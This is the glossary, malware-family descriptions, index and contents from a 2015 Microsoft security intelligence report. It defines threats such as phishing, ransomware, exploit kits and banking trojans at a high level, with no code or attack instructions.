man-in-the-browser attack A type of web-based threat where a malicious program makes changes to a website without the website owner knowing it is happening.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   137 monitoring tool Software that monitors activity, usually by capturing keystrokes or screen images.
It may also include network sniffing software.
Also see password stealer (PWS).
MSRT See Malicious Software Removal Tool.
multifactor authentication Requiring a user to provide two or more forms of authentication, such as a username/password and a physical token, to access an account.
open source intelligence (OSINT) Intelligence information collected from unclassified, publicly available sources.
OSINT See open source intelligence.
P2P See peer-to-peer (P2P).
pass-the-hash (PtH) An attack technique wherein the attacker gains access to a resource by presenting a hashed credential directly for authentication, instead of presenting the password normally and allowing the authentication system to create the hash.
password stealer (PWS) Malware that is specifically used to transmit personal information, such as user names and passwords.
A PWS often works in conjunction with a keylogger.
Also see monitoring tool.
payload The actions conducted by a piece of malware for which it was created.
Payloads can include, but are not limited to, downloading files, changing system settings, displaying messages, and logging keystrokes.
peer-to-peer (P2P) A system of network communication in which individual nodes are able to communicate with each other without the use of a central server.
138 GLOSSARY phishing A method of credential theft that tricks Internet users into revealing personal or financial information online.
Phishers use phony websites or deceptive email messages that mimic trusted businesses and brands to steal personally identifiable information (PII), such as user names, passwords, credit card numbers, and identification numbers.
phishing impression A single instance of a user attempting to visit a known phishing page with Internet Explorer versions 7 through 11, and being blocked by the Phishing Filter or SmartScreen Filter.
Also see malware impression.
ransomware A type of malware that prevents use of a computer or access to the data that it contains until the user pays a certain amount to a remote attacker (the ransom).
Computers that have ransomware installed usually display a screen containing information on how to pay the ransom.
A user cannot usually access anything on the computer beyond the screen.
return-oriented programming (ROP) An exploit technique that involves gaining control of a programs control flow and calling a chain of instructions that already exist in memory, each of which ends in a return command.
rogue security software Software that appears to be beneficial from a security perspective but that provides limited or no security capabilities, generates a significant number of erroneous or misleading alerts, or attempts to socially engineer the user into participating in a fraudulent transaction.
rooting Obtaining administrative user rights on a mobile device through the use of exploits.
Device owners sometimes use such exploits intentionally to gain access to additional functionality, but these exploits can also be used by attackers to infect devices with malware that bypasses many typical security systems.
The term rooting is typically used in the context of Android devices the comparable process on iOS devices is more commonly referred to as jailbreaking.
ROP See return-oriented programming (ROP).
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   139 sandbox A specially constructed portion of a computing environment in which potentially dangerous programs or processes may run without causing harm to resources outside the sandbox.
signature See detection signature.
sinkhole A server or set of servers designed to absorb and analyze malware traffic.
social engineering A technique that defeats security precautions by exploiting human vulnerabilities.
Social engineering scams can be both online (such as receiving email messages that ask the recipient to click the attachment, which is actually malware) and offline (such as receiving a phone call from someone posing as a representative from ones credit card company).
Regardless of the method selected, the purpose of a social engineering attack remains the sameto get the targeted user to perform an action of the attackers choice.
software bundler A program that installs unwanted software on a computer at the same time as the software the user is trying to install, without adequate consent.
spam Bulk unsolicited email.
Malware authors may use spam to distribute malware, either by attaching the malware to email messages or by sending a message containing a link to the malware.
Malware may also harvest email addresses for spamming from compromised machines or may use compromised machines to send spam.
spear phishing Phishing that targets a specific person, organization, or group, containing additional information associated with that person, organization, or group to lure the target further into a false sense of security to divulge more sensitive information.
SQL injection A technique in which an attacker enters a specially crafted Structured Query Language (SQL) statement into an ordinary web form.
If form input is not filtered and validated before being submitted to a database, the malicious SQL statement may be executed, which could cause significant damage or data loss.
140 GLOSSARY targeted attack A malware attack against a specific group of companies or individuals.
This type of attack usually aims to get access to the computer or network, before trying to steal information or disrupt the infected machines.
tool In the context of malware, a software program that may have legitimate purposes but may also be used by malware authors or attackers.
trojan A generally self-contained program that does not self-replicate but takes malicious action on the computer.
unwanted software A program with potentially unwanted functionality that is brought to the users attention for review.
This functionality may affect the users privacy, security, or computing experience.
virus Malware that replicates, typically by infecting other files in the computer, to allow the execution of the malware code and its propagation when those files are activated.
vulnerability A weakness, error, or poor coding technique in a program that may allow an attacker to exploit it for a malicious purpose.
wild See in the wild.
worm Malware that spreads by spontaneously sending copies of itself through email or by using other communication mechanisms, such as instant messaging (IM) or peer-to-peer (P2P) applications.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   141 Threat families referenced in this report The definitions for the threat families referenced in this report are adapted from the Microsoft Malware Protection Center encyclopedia (www.microsoft.com/security/portal), which contains detailed information about a large number of malware and unwanted software families.
See the encyclopedia for more in-depth information and guidance for the families listed here and throughout the report.
W97M/Adnel.
A family of macro malware that can download other threats to the computer, including TrojanDownloader:Win32/Drixed.
HTML/Adodb.
A generic detection for script trojans that exploit a vulnerability in Microsoft Data Access Components (MDAC) that allows remote code execution.
Microsoft released Security Bulletin MS06-014 in April 2006 to address the vulnerability.
Win32/AlterbookSP.
A browser add-on that formerly displayed behaviors of unwanted software.
Recent versions of the add-on no longer meet Microsoft detection criteria, and are no longer considered unwanted software.
Win32/Anogre.
A detection for the Sweet Orange exploit kit, which exploits vulnerabilities in some versions of Windows, Adobe Flash Player, and Java to install malware.
INF/Autorun.
A family of worms that spreads by copying itself to the mapped drives of an infected computer.
The mapped drives may include network or removable drives.
JS/Axpergle.
A detection for the Angler exploit kit, which exploits vulnerabilities in some versions of Internet Explorer, Silverlight, Adobe Flash Player, and Java to install malware.
Win32/Bancos.
A data-stealing trojan that captures online banking credentials and relays them to the attacker.
Most variants target customers of Brazilian banks.
http://www.cve.mitre.org/cgi-bin/cvename.cgi 142 THREAT FAMILIES REFERENCED IN THIS REPORT Win32/Banker.
A family of data-stealing trojans that captures banking credentials such as account numbers and passwords from computer users and relays them to the attacker.
Most variants target customers of Brazilian banks some variants target customers of other banks.
Win32/Banload.
A family of trojans that download other malware.
Banload usually downloads Win32/Banker, which steals banking credentials and other sensitive data and sends it back to a remote attacker.
Win32/BeeVry.
A trojan that modifies a number of settings to prevent the computer from accessing security-related websites, and lower the computers security.
JS/Blacole.
An exploit pack, also known as Blackhole, that is installed on a compromised web server by an attacker and includes a number of exploits that target browser software.
If a vulnerable computer browses a compromised website that contains the exploit pack, various malware may be downloaded and run.
MSIL/Bladabindi.
A family of backdoors created by a malicious hacker tool called NJ Rat.
They can steal sensitive information, download other malware, and allow backdoor access to an infected computer.
JS/Bondat.
A family of threats that collects information about the computer, infects  removable drives, and tries to stop the user from accessing files.
It spreads by infecting removable drives, such as USB thumb drives and flash drives.
Win32/BrobanDel.
A family of trojans that can modify boletos bancrios, a common payment method in Brazil.
They can be installed on the computer when a user opens a malicious spam email attachment.
Win32/Chir.
A family with a worm component and a virus component.
The worm component spreads by email and by exploiting a vulnerability addressed by Microsoft Security Bulletin MS01-020.
The virus component may infect .exe, .scr, and HTML files.
Win32/CompromisedCert.
A detection for the Superfish VisualDiscovery advertising program that was preinstalled on some Lenovo laptops sold in 2014 and 2015.
It installs a compromised trusted root certificate on the computer, which can be used to conduct man-in-the-middle attacks on the computer.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   143 Win32/Conficker.
A worm that spreads by exploiting a vulnerability addressed by Security Bulletin MS08-067.
Some variants also spread via removable drives and by exploiting weak passwords.
It disables several important system services and security products, and downloads arbitrary files.
Win32/CouponRuc.
A browser modifier that changes browser settings and may also modify some computer and Internet settings.
Win32/CplLnk.
A generic detection for specially-crafted malicious shortcut files that attempt to exploit the vulnerability addressed by Microsoft Security Bulletin MS10-046.
Win32/Crowti.
A ransomware family that encrypts files on the computer and demands that the user pay a fee to decrypt them, using Bitcoins.
Win32/Dynamer.
A generic detection for a variety of threats.
Win32/Dyzap.
A threat that steals login credentials for a long list of banking websites using man-in-the-browser (MITB) attacks.
It is usually installed on the infected computer by TrojanDownloader:Win32/Upatre.
Win32/EoRezo.
Adware that displays targeted advertising to affected users while browsing the Internet, based on downloaded pre-configured information.
Win32/Foosace.
A threat that creates files on the compromised computer and contacts a remote host.
Win32/Frethog.
A large family of password-stealing trojans that targets confidential data, such as account information, from massively multiplayer online games.
Win32/Gamarue.
A worm that is commonly distributed via exploit kits and social engineering.
Variants have been observed stealing information from the local computer and communicating with command-and-control (CC) servers managed by attackers.
AndroidOS/GingerMaster.
A malicious program that affects mobile devices running the Android operating system.
It may be bundled with clean applications, and is capable of allowing a remote attacker to gain access to the mobile device.
144 THREAT FAMILIES REFERENCED IN THIS REPORT Win32/IeEnablerCby.
A browser modifier that installs additional browser add- ons without the users consent.
It bypasses the normal prompts or dialogs that ask for consent to install add-ons.
Win32/InstalleRex.
A software bundler that installs unwanted software, including Win32/CouponRuc and Win32/SaverExtension.
It alters its own Installed On date in Programs and Features to make it more difficult for a user to locate it and remove it.
DOS/JackTheRipper.
A virus that can stop some files from working correctly in Windows XP and earlier operating systems.
It spreads by infecting the master boot record (MBR) on connected hard disks and floppy disks.
VBS/Jenxcus.
A worm that gives an attacker control of the computer.
It is spread by infected removable drives, like USB flash drives.
It can also be downloaded within a torrent file.
ALisp/Kenilfe.
A worm written in AutoCAD Lisp that only runs if AutoCAD is installed on the computer or network.
It renames and deletes certain AutoCAD files, and may download and execute arbitrary files from a remote host.
Win32/Kilim.
A trojan that hijacks the users Facebook, Twitter, or YouTube account to promote pages.
It may post hyperlinks or like pages on Facebook, post comments on YouTube videos, or follow profiles and send direct messages on Twitter without permission.
Win32/KipodToolsCby.
A browser modifier that installs additional browser add- ons without the users consent.
It bypasses the normal prompts or dialogs that ask for consent to install add-ons.
JS/Krypterade.
Ransomware that fraudulently claims the computer has been used for unlawful activity, locks it, and demands that the user pay to unlock it.
Unix/Lotoor.
A detection for specially crafted Android programs that attempt to exploit vulnerabilities in the Android operating system to gain root privilege.
Win32/Macoute.
A worm that can spread itself to removable USB drives, and may communicate with a remote host.
MSIL/Mofin.
A worm that can steal files from your PC and send them to a malicious hacker.
It spreads via infected removable drives, such as USB flash drives.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   145 Win32/Nuqel.
A worm that spreads via mapped drives and certain instant messaging applications.
It may modify system settings, connect to certain websites, download arbitrary files, or take other malicious actions.
Win32/Obfuscator.
A generic detection for programs that have had their purpose disguised to hinder analysis or detection by antivirus scanners.
Such programs commonly employ a combination of methods, including encryption, compression, anti-debugging and anti-emulation techniques.
Win32/Ogimant.
A threat that claims to help download items from the Internet, but actually downloads and runs files that are specified by a remote attacker.
HTML/Pangimop.
A detection for the Magnitude exploit kit, also known as Popads.
It attempts to exploit vulnerabilities in programs such as Java and Adobe Flash Player to install other malware.
Win32/Pdfjsc.
A family of specially crafted PDF files that exploit Adobe Acrobat and Adobe Reader vulnerabilities.
Such files contain malicious JavaScript that executes when the file is opened.
Win32/Peaac.
A generic detection for various threats that display trojan characteristics.
Win32/Peals.
A generic detection for various threats that display trojan characteristics.
JS/Proslikefan.
A worm that spreads through removable drives, network shares, and P2P programs.
It can lower the computers security settings and disable antivirus products.
Win32/Radonskra.
A family of threats that perform a variety of malicious acts, including stealing information about the computer, showing extra advertisements as the user browses the web, performing click fraud, and downloading other programs without consent.
Win32/Ramnit.
A family of multi-component malware that infects executable files, Microsoft Office files, and HTML files.
Win32/Ramnit spreads to removable drives and steals sensitive information such as saved FTP credentials and browser cookies.
It may also open a backdoor to await instructions from a remote attacker.
146 THREAT FAMILIES REFERENCED IN THIS REPORT Win32/Reveton.
A ransomware family that targets users from certain countries or regions.
It locks the computer and displays a location-specific webpage that covers the desktop and demands that the user pay a fine for the supposed possession of illicit material.
Win32/Sality.
A family of polymorphic file infectors that target executable files with the extensions .scr or .exe.
They may execute a damaging payload that deletes files with certain extensions and terminates security-related processes and services.
Win32/SaverExtension.
A browser add-on that shows ads in the browser without revealing their source, and prevents itself from being removed normally.
Win32/Sdbby.
A threat that exploits a bypass to gain administrative privileges on a machine without going through a User Access Control prompt.
Win32/Simda.
A threat that can give an attacker backdoor access and control of an infected computer.
It can then steal passwords and gather information about the computer to send to the attacker.
PHP/SimpleShell.
A backdoor that can give an attacker the ability to run shell commands on a compromised server.
Win32/Skeeyah.
A generic detection for various threats that display trojan characteristics.
Win32/Slugin.
A file infector that infects .exe and .dll files.
It may also perform backdoor actions.
Win32/Stuxnet.
A multi-component family that spreads via removable volumes by exploiting the vulnerability addressed by Microsoft Security Bulletin MS10- 046.
Win32/Tugspay.
A downloader that spreads by posing as an installer for legitimate software, such as a Java update, or through other malware.
When installed, it downloads unwanted software to the computer.
Win32/Upatre.
A downloader that installs malware and unwanted software on the affected computer without the users consent.
It is frequently distributed as an attachment to spam email messages.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   147 Win32/Vercuser.
A worm that typically spreads via drive-by download.
It also receives commands from a remote server, and has been observed dropping other malware on the infected computer.
Win32/Wordinvop.
A detection for a specially-crafted Microsoft Word file that attempts to exploit the vulnerability CVE-2006-6456, addressed by Microsoft Security Bulletin MS07-014.
Win32/Wordjmp.
An exploit that targets a vulnerability in Word 2002 and 2003 that could allow an attacker to remotely execute arbitrary code.
Microsoft released Security Bulletin MS06-027 in June 2006 to address the vulnerability.
148 INDEX Index Active Directory, 82 ActiveX, 48, 54, 55, 56, 132 address space layout randomization (ASLR), 16, 17, 132 Adnel, 63, 141 Adobe Acrobat, 52, 145 Adobe Flash Player, 8, 17, 18, 41, 46, 47, 52 53, 56, 57, 76, 81, 141, 145 Adobe Reader, 52, 56, 145 Adobe Security Bulletins, 17, 47, 52, 53 Adodb, 63, 141 Advanced Threat Protection.
See Exchange Online Advanced Threat Protection adware, 61, 65, 67, 71, 73, 74, 77, 79, 80, 82, 83, 84, 85, 86, 113, 116, 143 Africa, 65, 130 air gaps, 11, 12, 14, 15, 19, 132 Albania, 127 Algeria, 65, 66, 127 AlterbookSP, 67, 80, 82, 85, 87, 141 Android, 32, 33, 35, 37, 51, 123, 138, 143, 144 security updates, 51 Angler.
See Axpergle Angola, 127 Anogre, 43, 46, 74, 77, 141 Apple Inc., 36, 49 AppLocker, 27, 118 Argentina, 22, 127 Armenia, 127 ASEP.
See autostart extensibility points Asia, 3, 68, 76 ASLR.
See address space layout randomization (ASLR) Australia, 127 Austria, 127 Autorun (malware family), 15, 62, 75, 80, 81, 85, 86, 141 autostart extensibility points, 11, 132 Axpergle, 43, 46, 47, 65, 74, 75, 77, 80, 81, 85, 86, 141 Azerbaijan, 22, 91, 92, 127 backdoors, vi, 10, 11, 13, 15, 66, 68, 69, 70, 73, 76, 83, 133, 142, 145, 146 Bahamas, The, 127 Bahrain, 127 Banco Bradesco, 24 Banco do Brasil, 24 Banco do Estado do Rio Grande do Sul, 24 Banco Ita, 24 Banco Safra, 24 Banco Santander, 24 Bancos, 2127, 141 Bangladesh, 65, 127 Banker (malware family), 2127, 142 banking malware, 2127 Banload, 2127, 62, 74, 142 Banrisul.
See Banco do Estado do Rio Grande do Sul Barbados, 127 BeeVry, 62, 142 Belarus, 127 Belgium, 127 Belize, 103 Bing, ii, 68, 1057, 125, 126 Blackhole.
See Blacole Blacole, 49, 142 Bladabindi, 66, 76, 142 boletos bancrios, 2426, 133, 142 Bolivia, 22, 127 Bondat, 74, 142 Bosnia and Herzegovina, 128 Brantall, 60 Brazil, 1, 2127, 61, 62, 73, 74, 90, 102, 105, 128, 133, 142 BrobanDel, 2426, 142 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   149 browser modifiers, 61, 62, 65, 67, 71, 73, 77, 78, 80, 82, 83, 84, 85, 86, 87, 133, 143, 144 Bulgaria, 103, 128 Caixa Econmica Federal, 24 Cambodia, 128 Cameroon, 128 Canada, 61, 63, 73, 74, 90, 128 CCM.
See computers cleaned per mille CDI Japan, 69 CERT/CC, 32 Chile, 128 China, 61, 62, 73, 74, 90, 128 Chir, 65, 142 Citibank, 24 CME.
See Coordinated Malware Eradication (CME) Colombia, 128 Columbia, 22 Common Platform Enumeration, 36 Common Vulnerabilities and Exposures.
See CVE identifier Common Vulnerability Scoring System, 33, 34 CompromisedCert, 67, 142 Computer Emergency Response Team Coordination Center.
See CERT/CC computers cleaned per mille, 59 Conficker, 80, 85, 87, 143 Control Flow Guard, 17 Coordinated Malware Eradication, 69 Costa Rica, 105, 128 Cte dIvoire, 128 CouponRuc, 61, 62, 65, 67, 77, 78, 79, 80, 82, 85, 86, 143, 144 CPE.
See Common Platform Enumeration CplLnk, 40, 43, 50, 65, 143 Croatia, 128 Crowti, 74, 80, 143 CVE identifier, 31, 32, 40 CVE-2009-0075, 54 CVE-2010-0188, 52 CVE-2010-0840, 47, 49 CVE-2010-2568, 40, 43, 50 CVE-2010-3336, 52 CVE-2011-1823, 50, 51 CVE-2011-3874, 50, 51 CVE-2012-0158, 52 CVE-2012-0507, 47, 49 CVE-2012-1723, 47, 48, 49 CVE-2012-1889, 54 CVE-2013-0074, 46 CVE-2013-0422, 47, 49 CVE-2013-2460, 46 CVE-2013-2551, 46, 54 CVE-2013-7331, 54 CVE-2014-0322, 54 CVE-2014-0497, 53 CVE-2014-0515, 53 CVE-2014-6332, 43, 44, 50 CVE-2014-8439, 46, 53 CVE-2015-0097, 57 CVE-2015-0310, 47 CVE-2015-0311, 46, 47, 53 CVE-2015-0313, 46, 47, 53 CVE-2015-0336, 47, 53 CVE-2015-0359, 47, 53 CVE-2015-1641, 16, 57 CVE-2015-1701, 14, 18, 19, 57 CVE-2015-1769, 57 CVE-2015-1770, 57 CVE-2015-2360, 57 CVE-2015-2424, 16, 17 CVE-2015-3043, 17, 18, 57 CVE-2015-3090, 47 CVE-2015-3104, 47 CVE-2015-3105, 47 CVE-2015-3113, 47 CVSS.
See Common Vulnerability Scoring System Cyprus, 128 Czech Republic, 92, 128 DCU.
See Microsoft Digital Crimes Unit Denmark, 67, 91, 92, 128 DirectAccess, 111, 119 DNHTCU.
See Dutch National High Tech Crime Unit Dominican Republic, 128 downloaders, 62, 63, 77, 84, 87, 134, 146 150 INDEX Downloaders  Droppers, vi, 70, 73, 74, 83, 85 drive-by downloads, 6, 7, 44, 68, 97, 1057, 147 droppers, 10, 134 Dutch National High Tech Crime Unit, 68, 69 Dynamer, 62, 143 Dyzap, 84, 143 EC3.
See European Cybercrime Centre Ecuador, 128 Egypt, 128 El Salvador, 22, 128 email, 4, 5, 7, 11, 20, 27, 82, 87, 9498, 125, 133, 138, 139, 140, 142, 146 EMET.
See Enhanced Mitigation Experience Toolkit (EMET) encounter rate, 58 Enhanced Mitigation Experience Toolkit (EMET), 119 EoRezo, 74, 143 Estonia, 128 Europe, 3, 52, 66, 74, 77 European Cybercrime Centre, 77 Exchange Online, 95, 96, 97, 98, 125, 126 Exchange Online Advanced Threat Protection, 9498, 126 exploit kits, vi, 41, 42, 43, 4447, 49, 65, 76, 77, 81, 135, 143 exploits, v, vi, 3, 4, 7, 8, 9, 10, 14, 16, 17, 18, 19, 29, 31, 34, 35, 4057, 58, 65, 70, 73, 74, 75, 76, 77, 79, 80, 81, 83, 85, 86, 105, 132, 135, 138, 140, 141, 142, 143, 144, 145, 146, 147 Adobe Flash Player, 41, 5253 browser, 41, 5354 document, 41, 52 HTML, 41, 44, 45 Java, 41, 42, 43, 4749 JavaScript, 41, 45 operating system, 41, 42, 5051 Silverlight, 46, 141 zero-day, 3, 4, 8, 9, 16, 49 Facebook, 68, 76, 144 FakeCall, 63 FBI.
See Federal Bureau of Investigation Federal Bureau of Investigation, 69 Fiesta (exploit kit).
See Fiexp Fiexp, 43, 46 Filcout, 60 Finland, 67, 91, 92, 105, 128 Foosace, 10, 143 France, 61, 73, 74, 90, 128 Frethog, 68, 143 Gamarue, 68, 75, 76, 80, 81, 86, 143 G-Buster Browser Defense, 24 Georgia, 128 Germany, 90, 128 Ghana, 65, 128 GingerBreak.
See CVE-2011-1823 GingerMaster, 51, 143 Google, 32, 33, 35, 36, 37, 51, 68 Google Chrome, 36 Google Play Store, 32, 33, 35, 37 Greece, 128 Guadeloupe, 128 Guatemala, 128 Honduras, 128 Hong Kong SAR, 128 HSBC, 24 Hungary, 128 Iceland, 67, 129 IeEnablerCby, 62, 67, 77, 78, 86, 144 IExtensionValidation, 41, 48, 5556, 58 IframeRef, 43, 44 India, 61, 62, 65, 73, 129 Indonesia, 65, 129 InstalleRex, 67, 72, 77, 78, 79, 80, 82, 86, 144 Internet Explorer, 8, 11, 17, 27, 36, 41, 43, 44, 46, 48, 50, 54, 55, 56, 5556, 58, 78, 80, 81, 99, 100, 104, 118, 126, 132, 136, 138, 141 Enhanced Security Configuration, 80 Interpol, 68, 69 Iraq, 65, 66, 91, 92, 129 Ireland, 129 Israel, 129 Italy, 90, 129 JackTheRipper, 63, 74, 144 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   151 Jamaica, 129 Japan, ii, 67, 90, 129 Java Runtime Environment, 8, 41, 42, 43, 46, 4749, 52, 56, 118, 141, 145, 146 Jenxcus, 66, 74, 75, 76, 80, 81, 85, 86, 144 Jordan, 92, 129 Kali Linux, 15 Kaspersky Lab, 69 Kazakhstan, 129 Kenilfe, 63, 144 Kenya, 129 keyloggers, 11 Kilim, 70, 73, 75, 76, 80, 81, 144 KipodToolsCby, 61, 62, 65, 67, 77, 78, 80, 82, 85, 86, 144 Korea, 103, 129 Krypterade, 74, 144 Kuwait, 129 Latvia, 129 Lebanon, 92, 129 Lenovo, 67, 142 Libya, 65, 66, 91, 92, 103, 129 Linux, 12, 15, 36, 49 Lithuania, 129 Lotoor, 50, 51, 144 Luxembourg, 69, 129 Mac OS X, 49, 123 Macao SAR, 129 Macedonia, FYRO, 129 Macoute, 65, 144 Magnitude.
See Pangimop Malaysia, 129 Malicious Software Removal Tool, 136 Malicious Software Removal Tool (MSRT), 59, 64, 76, 87, 88, 89, 90, 91, 92, 93, 125, 126, 127, 133 Malta, 129 malware, v, vi, 3, 4, 6, 7, 9, 10, 11, 13, 15, 19, 2127, 31, 40, 41, 42, 43, 49, 51, 5898, 99, 100, 102, 103, 104, 105, 11119, 12324, 125, 126, 132, 134, 135, 136, 137, 138, 139, 140, 14147 banking, 2127, 84, 102, 136, 141, 142, 143 by country or region, 6068 categories, 6974 by location, 7274 families, 7482 by operating system, 7982 on home and enterprise computers, 82 87 malware hosting, 1035 by country or region, 105 MAPS.
See Microsoft Active Protection Service (MAPS) Martinique, 129 Mauritius, 129 Meadgive, 43 Metasploit, 9 Mexico, 61, 73, 74, 129 Microsoft Active Protection Service (MAPS), 118 Microsoft Digital Crimes Unit, ii, 69, 76 Microsoft IT, 11119 Microsoft Malware Protection Center, ii, v, 3, 26, 49, 69, 76, 77, 78, 87, 98, 115, 132, 141 Microsoft Malware Protection Engine, v, 126 Microsoft Office, ii, 16, 17, 95, 98, 126, 145 Microsoft Safety Scanner, 125, 126 Microsoft Security Bulletins, 14, 16, 18, 40, 43, 44, 50, 54, 57, 141, 142, 143, 146, 147 Microsoft Security Essentials, 115, 118, 125, 126 Microsoft Security Response Center, 113, 114 Microsoft Update, 26, 81, 117, 125 Microsoft Word, 8, 16, 57, 117, 147 Middle East, 66, 68, 76 Mimikatz, 14 MMPC.
See Microsoft Malware Protection Center Mofin, 62, 144 Moldova, 129 Mongolia, 92, 129 Morocco, 65, 66, 92, 129 Mozambique, 129 Mozilla Firefox, 9, 10, 26, 36 MSRC.
See Microsoft Security Response Center 152 INDEX MSRT.
See Malicious Software Removal Tool (MSRT) multi-factor authentication, 19 Namibia, 129 NAP.
See Network Access Protection National Vulnerability Database, 31, 36 NATO, 3, 7 Neclu, 43, 46, 47 Nepal, 65, 130 Netherlands, 69, 130 Network Access Protection, 119 NeutrinoEK, 43 New Zealand, 130 Nicaragua, 130 Nigeria, 130 Nordic countries, 67 North America, 66, 74 Norway, 67, 91, 130 Nuclear (exploit kit).
See Neclu Nuqel, 65, 145 NVD.
See National Vulnerability Database Obfuscator (malware), 47, 49, 53, 62, 75, 80, 81, 82, 86, 145 Obfuscators  Injectors, 70, 73, 75, 80, 81, 83, 85, 86 Object Linking and Embedding (OLE), 44, 50 Office 365, ii, 95, 98, 126 Ogimant, 62, 74, 77, 145 OLE.
See Object Linking and Embedding (OLE) Oman, 130 open-source intelligence, 4, 20, 137 OpenSSL, 13 Oracle Corporation, 8, 48, 49 security updates, 49 OSINT.
See open-source intelligence Other Malware (category), 70, 73, 83 Pakistan, 65, 130 Palestinian Authority, 65, 66, 92, 130 Panama, 107, 130 Pangimop, 47, 145 Paraguay, 130 pass the hash, 14, 19, 137 password stealers, 68, 84, 137 Password Stealers  Monitoring Tools, 70, 73, 83, 84 Pdfjsc, 52, 145 Peaac, 62, 145 Peals, 62, 70, 73, 75, 77, 80, 81, 85, 87, 145 Peru, 130 Philippines, 130 phishing, 3, 4, 7, 27, 100103, 103, 104, 126, 136, 138 by country or region, 103 spear phishing, 4, 5, 19, 139 target institutions, 1023 Phishing Filter, 99, 100, 138 PHP, 80, 146 Poland, 130 Portugal, 21, 22, 130 Portuguese language, 23 Proslikefan, 62, 145 PtH.
See pass the hash Puerto Rico, 130 Qatar, 130 Radonskra, 62, 145 Ramnit, 62, 68, 70, 75, 77, 81, 145 ransomware, vi, 70, 73, 74, 80, 83, 138, 143, 144, 146 Registry, Windows, 11 return-oriented programming (ROP), 16, 17, 138 Runion, 130 Reveton, 74, 146 rogue security software, vi, 63, 138 Romania, 130 ROP.
See return-oriented programming (ROP) Rotbrow, 60 Russia, 3, 61, 62, 69, 73, 74, 90, 105, 107, 130 Russian language, 62 Safari, 36 Sality, 75, 80, 81, 146 sandbox, 8 Saudi Arabia, 105, 130 SaverExtension, 61, 65, 67, 71, 72, 73, 74, 77, 78, 79, 80, 82, 85, 86, 144, 146 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   153 SCEP.
See System Center Endpoint Protection Sdbby, 42, 43, 146 SDL.
See Security Development Lifecycle Security Development Lifecycle, 38, 39 security software, real-time, 21, 27, 40, 41, 58, 8794, 127 by location, 9092 by operating system, 9394 expired, 89 security updates, 8, 9, 16, 17, 26, 44, 48, 49, 81 Senegal, 65, 130 Serbia, 130 Silverlight, 46, 56, 141 Simda, 6869, 146 SimpleShell, 80, 146 Singapore, 130 Skeeyah, 70, 75, 77, 80, 81, 82, 146 Slovakia, 130 Slovenia, 130 Slugin, 65, 146 smart cards, 119 SmartScreen Filter, 99105, 126 SMEP.
See Supervisor Mode Execution Protection (SMEP) social engineering, vi, vii, 7, 8, 9, 10, 19, 23, 43, 76, 84, 139, 143 software bundlers, 67, 72, 73, 77, 79, 80, 82, 83, 84, 86, 139, 144 Spain, 7, 130 spam, 80, 84, 87, 125, 136, 139, 142, 146 spear phishing.
See phishing Squid (proxy server), 13 Sri Lanka, 130 SSL, 32, 33, 35, 37 STRONTIUM, 320 Stuxnet, 43, 146 Supervisor Mode Execution Protection (SMEP), 18 Sweden, 22, 67, 130 Sweet Orange.
See Anogre Switzerland, 130 System Center Endpoint Protection, 111, 113, 115, 117, 125, 126 Taiwan, 103, 105, 131 Tanzania, 131 targeted attacks, vi, 320, 5657, 94, 140 Thailand, 131 Trend Micro, 3, 69 Trinidad and Tobago, 131 trojans, vi, 24, 62, 70, 73, 75, 76, 80, 81, 83, 85, 87, 113, 123, 133, 134, 136, 140, 141, 142, 143, 144, 145, 146 Tugspay, 77, 146 Tunisia, 65, 131 Turkey, 22, 61, 62, 73, 77, 92, 131 UAC.
See User Account Control Ukraine, 131 United Arab Emirates, 103, 131 United Kingdom, 61, 63, 73, 74, 90, 131 United States, 61, 69, 73, 74, 90, 131 unwanted software, v, 29, 5898, 11119, 12324, 125, 126, 134, 135, 139, 140, 141 47 by country or region, 6068 categories, 6974 by location, 7274 families, 7482 by operating system, 7982 on home and enterprise computers, 82 87 Upatre, 84, 85, 87, 143, 146 Uruguay, 22, 131 USB, 11, 15, 57, 126, 142, 144 User Account Control, 27, 42 VBScript, 76 Venezuela, 131 Vercuser, 65, 147 Vietnam, 92, 107, 131 viruses, 63, 65, 68, 70, 73, 74, 75, 80, 81, 83, 123, 136, 140, 142, 144 VMWare, 49 VPN, 16 vulnerabilities, v, vi, vii, 4, 8, 9, 15, 16, 17, 18, 3139, 4057, 72, 81, 105, 119, 132, 134, 154 INDEX 135, 139, 140, 141, 142, 143, 144, 145, 146, 147 application, 3537 browser, 3537 complexity, 3435 in Microsoft products, 3738 operating system, 3537 severity, 3334 Windows 7, 18, 81, 82, 94, 125 Windows 8, 17, 18, 40, 44, 81, 82, 94, 126 Windows 8.1, 17, 44, 81, 82, 93, 94, 126 Windows Defender, 40, 94, 111, 115, 117, 118, 126 Windows Defender Offline, 126 Windows Explorer, 43, 50, 115 Windows Update, 26, 81, 118, 125 Windows Vista, 81, 82, 94, 125 Wordinvop, 52, 147 Wordjmp, 52, 147 worms, vi, 62, 63, 65, 66, 68, 70, 73, 74, 75, 76, 80, 81, 83, 85, 86, 87, 123, 136, 140, 141, 142, 143, 144, 145, 147 Yeltminky, 66, 68 YouTube, 76, 144 Zimbabwe, 131 One Microsoft Way Redmond, WA 98052-6399 microsoft.com/security About this report Foreword Featured intelligence STRONTIUM: A profile of a persistent and motivated adversary Adversary profile How STRONTIUM attacks a target Reconnaissance and target identification Attacking the target Establishing control Taking action Guidance Win32/Banload and Banking Malware Distribution and trends Propagation and technical details Win32/Banker and credential stealers Win32/BrobanDel and boleto malware Guidance Worldwide threat assessment Vulnerabilities Industry-wide vulnerability disclosures Vulnerability severity Vulnerability complexity Operating system, browser, and application vulnerabilities Microsoft vulnerability disclosures Guidance: Developing secure software Exploits Exploit families Exploit kits Java exploits Operating system exploits Document exploits Adobe Flash Player exploits Browser exploits Exploit detection with Internet Explorer and IExtensionValidation Exploits used in targeted attacks Malware and unwanted software Brantall, Rotbrow, and Filcout Malware and unwanted software worldwide Microsoft and partners disrupt the Simda.
